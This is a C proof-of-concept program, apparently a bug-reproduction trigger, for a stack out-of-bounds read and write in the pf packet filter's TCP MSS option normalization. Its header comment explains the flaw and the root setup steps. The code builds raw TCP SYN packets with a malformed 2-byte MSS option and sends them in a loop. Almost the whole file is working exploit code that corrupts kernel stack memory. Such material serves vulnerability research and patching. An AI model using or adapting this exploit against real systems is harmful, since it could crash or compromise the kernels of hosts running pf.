DF-3360 / mss_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | /* * DF-3360 trigger — pf_normalize_tcpopt() stack OOB read/write via * malformed TCP MSS option (sys/net/pf/pf_norm.c:1938-1946). * * Mechanism: * u_char opts[TCP_MAXOLEN]; // exactly 40 bytes (:1915) * cnt = thoff - sizeof(struct tcphdr); // == 40 for th_off == 15 * ... walk ... * optlen = optp[1]; * if (optlen < 2 || optlen > cnt) break; // optlen == 2 passes * case TCPOPT_MAXSEG: * mss = (u_int16_t *)(optp + 2); // == opts + 40 !! * if ((ntohs(*mss)) > r->max_mss) { // OOB READ opts[40..41] * th->th_sum = pf_cksum_fixup(..., *mss, htons(r->max_mss), 0); * *mss = htons(r->max_mss); // OOB WRITE opts[40..41] * rewrite = 1; * } * * A TCP header with th_off == 15 (60 bytes) whose option space tiles * as [38 bytes of filler][0x02 0x02] (MAXSEG with declared option * length 2, not TCPOLEN_MAXSEG == 4) makes optp == opts+38, optlen == 2, * mss == opts+40: two bytes past the 40-byte stack array. * The read is unconditional; if the adjacent stack word (interpreted * big-endian) exceeds the rule's max-mss, a 2-byte value * htons(max_mss) is written past the array. * * Setup needed (root): * kldload pf * pfctl -f /root/poc/mss.conf # scrub in on lo0 all max-mss $VAL * pfctl -e * * Usage: mss_oob [numpackets [dport]] */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <netinet/tcp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define TCPOPT_FILLER_NOP 1 /* TCPOPT_NOP */ static unsigned short cksum(unsigned short *p, int n) { unsigned long s = 0; while (n > 1) { s += *p++; n -= 2; } if (n) s += *(unsigned char *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (unsigned short)(~s); } static void send_badmss(int s, in_addr_t src, in_addr_t dst, unsigned short sport, unsigned short dport, unsigned id) { char pkt[sizeof(struct ip) + 60]; struct ip *ip = (struct ip *)pkt; struct tcphdr *th = (struct tcphdr *)(pkt + sizeof(struct ip)); unsigned char *opts = (unsigned char *)th + sizeof(struct tcphdr); struct sockaddr_in sin; int i, tlen = sizeof(struct tcphdr) + 40; memset(pkt, 0, sizeof(pkt)); ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip) >> 2; ip->ip_len = htons(sizeof(struct ip) + tlen); ip->ip_id = id; ip->ip_off = htons(0); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; ip->ip_sum = 0; ip->ip_sum = cksum((unsigned short *)pkt, sizeof(struct ip)); th->th_sport = htons(sport); th->th_dport = htons(dport); th->th_seq = htonl(0x1000 + sport); th->th_off = 15; /* 60-byte header, 40B options */ th->th_flags = TH_SYN; th->th_win = htons(8192); /* 38 bytes of NOP + malformed MSS option {2, 2} == 40 bytes */ for (i = 0; i < 38; i++) opts[i] = TCPOPT_FILLER_NOP; opts[38] = TCPOPT_MAXSEG; /* 2 */ opts[39] = 2; /* length 2 (malformed, != 4) */ /* opts[40], opts[41] are past the array -> touched by *mss */ th->th_sum = 0; { char buf[12 + 60]; unsigned char *bp = (unsigned char *)buf; in_addr_t saddr = ip->ip_src.s_addr, daddr = ip->ip_dst.s_addr; u_short plen = htons(tlen); memcpy(bp, &saddr, 4); memcpy(bp + 4, &daddr, 4); bp[8] = 0; bp[9] = IPPROTO_TCP; memcpy(bp + 10, &plen, 2); memcpy(bp + 12, th, 60); th->th_sum = cksum((unsigned short *)buf, 12 + 60); } memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst; if (sendto(s, pkt, sizeof(struct ip) + tlen, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0 && errno != ENOBUFS) fprintf(stderr, "sendto: %s\n", strerror(errno)); } int main(int argc, char **argv) { in_addr_t dst = inet_addr("127.0.0.2"); in_addr_t src; int s, one = 1; long n = (argc > 1) ? atol(argv[1]) : 1000; unsigned short dport = (argc > 2) ? atoi(argv[2]) : 9999; long i; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } src = htonl(0x7f000001); /* must be a local address (127.0.0.1) */ for (i = 0; i < n; i++) { send_badmss(s, src, dst, 1024 + (unsigned short)(i & 0x3fff), dport, (unsigned)(i & 0xffff)); if ((i % 10000) == 9999) { printf("sent %ld\n", i + 1); fflush(stdout); } } printf("done %ld packets\n", n); return (0); } |